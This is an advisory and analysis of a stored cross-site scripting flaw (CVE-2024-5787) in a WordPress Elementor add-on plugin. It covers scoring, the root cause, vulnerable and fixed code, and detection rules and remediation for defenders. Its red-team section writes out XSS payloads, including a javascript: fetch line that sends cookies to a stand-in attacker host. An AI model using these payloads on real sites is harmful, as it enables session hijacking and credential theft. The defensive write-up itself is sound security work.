CVE-2024-5787

Executive Summary

CVE-2024-5787 is a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPack Addons for Elementor WordPress plugin, affecting versions up to and including 2.7.20. The flaw resides in the plugin's Link Effects widget, where the url attribute is insufficiently sanitized and output-escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious widget, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

As a WordPress ecosystem vulnerability, this issue is specific to the plugin's handling of user input within the Elementor page builder. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored nature of the payload.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a WordPress plugin distributed via the WordPress plugin repository. The supply chain risk is moderate: if the plugin is installed from the official repository, users are dependent on the vendor releasing a patched version. No patch is currently available, increasing the risk for unmaintained sites.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs Contributor-level access to the WordPress site.
• User Interaction: None (UI:N) – The victim does not need to perform any action beyond visiting the page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature means a single compromised Contributor account can lead to widespread impact across the site.

Deep Dive & Mechanics

The vulnerability exists in the Link Effects widget of the PowerPack Addons for Elementor plugin. This widget allows users to create styled links with hover effects. The url attribute is used to specify the link target. Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript code into the url field.

Mechanism:

1. An attacker with Contributor-level access (or higher) creates or edits a page using the Elementor editor.
2. They add the Link Effects widget and set the url attribute to a malicious payload, e.g., javascript:alert(document.cookie) or a data URI containing JavaScript.
3. The plugin stores this payload in the WordPress database without proper sanitization.
4. When a user visits the page, the widget renders the link. The injected JavaScript executes in the context of the victim's browser.

Root Cause: The plugin fails to validate and escape the url attribute before outputting it in the HTML. Specifically, it does not use WordPress's built-in esc_url() function or similar sanitization methods for the href attribute.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.7.20):

// In the widget's render method
$settings = $this->get_settings_for_display();
$link_url = $settings['link_url'];
?>
<a href="<?php echo $link_url; ?>" class="pp-link-effect">
    <?php echo $settings['link_text']; ?>
</a>

Patched Code (hypothetical fix):

// In the widget's render method
$settings = $this->get_settings_for_display();
$link_url = esc_url($settings['link_url']);
?>
<a href="<?php echo $link_url; ?>" class="pp-link-effect">
    <?php echo esc_html($settings['link_text']); ?>
</a>

The patched version uses esc_url() to sanitize the URL, which strips dangerous schemes like javascript: and encodes special characters. Additionally, esc_html() is used for the link text to prevent XSS there as well.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• A WordPress site with PowerPack Addons for Elementor <= 2.7.20 installed and activated.
• A user account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel as a Contributor.
2. Navigate to Pages > Add New or edit an existing page.
3. Use the Elementor editor to add the Link Effects widget.
4. In the widget settings, set the URL field to a malicious payload, e.g.:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Set the Link Text to something innocuous like "Click Here".
6. Publish or update the page.
7. When any user (including admins) visits the page and hovers over or clicks the link, the JavaScript executes.

Alternative Payloads:

• Data URI: data:text/html,<script>alert('XSS')</script>
• Event handler: " onmouseover="alert(1) (if the plugin doesn't escape quotes)

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual url attribute values in the wp_postmeta table (where Elementor stores widget data).
• Look for patterns like javascript:, data:, or on*= in the meta_value field for the _elementor_data meta key.

Lab Setup:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install PowerPack Addons for Elementor version 2.7.20.
3. Create a Contributor user and log in.
4. Follow the Red Team steps to inject a payload.
5. Use browser developer tools to observe the XSS execution.

Mitigation:

• Immediately restrict Contributor-level users from using the Link Effects widget until a patch is applied.
• Use a Web Application Firewall (WAF) to block requests containing javascript: or data: in URL fields.
• Implement Content Security Policy (CSP) headers to prevent inline script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound requests to attacker-controlled domains from the WordPress server.
  • HTTP requests containing javascript: or data: schemes in the url parameter.

• Host IOCs:

  • Unusual entries in the wp_postmeta table where meta_key is _elementor_data and meta_value contains "url":"javascript: or "url":"data:.
  • Modified pages/posts with suspicious link attributes.

• File IOCs:

  • No specific file changes, as the payload is stored in the database.

Detection Engineering

YARA Rule

rule Detect_PowerPack_XSS_Url_Payload {
    meta:
        description = "Detects malicious URL payloads in PowerPack Addons for Elementor widget data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5787"
    strings:
        $url_payload = /"url"\s*:\s*"(javascript|data):/ nocase
        $on_event = /"url"\s*:\s*"[^"]*on(mouseover|click|load)=/ nocase
    condition:
        any of them
}

Sigma Rule

title: PowerPack Addons for Elementor Stored XSS via URL Attribute
id: 8a3f7c2e-1b5d-4a9f-8c6e-3d2f1a0b9c8e
status: experimental
description: Detects stored XSS attempts via the url attribute in PowerPack Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains|all:
            - "action=elementor_ajax"
            - "url"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5787 PowerPack Addons for Elementor Stored XSS Attempt"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"url"; http_client_body; pcre:"/\"url\"\s*:\s*\"(javascript|data):/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Link Effects widget by removing or renaming the plugin's widget file (e.g., powerpack-addons-for-elementor/widgets/link-effects.php) until a patch is available.
2. Restrict user roles – Remove Contributor-level access from untrusted users. Only grant Editor or Administrator roles to trusted personnel.
3. Apply a virtual patch using a WAF to block requests containing javascript: or data: in the url parameter.

Long-term Fix:

• The vendor must release a patched version (>= 2.7.21) that properly sanitizes the url attribute using esc_url() and escapes output with esc_html().
• Monitor the WordPress plugin repository for updates and apply them immediately.

Workaround:

• Use a different Elementor addon plugin that provides similar functionality but is actively maintained and patched.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert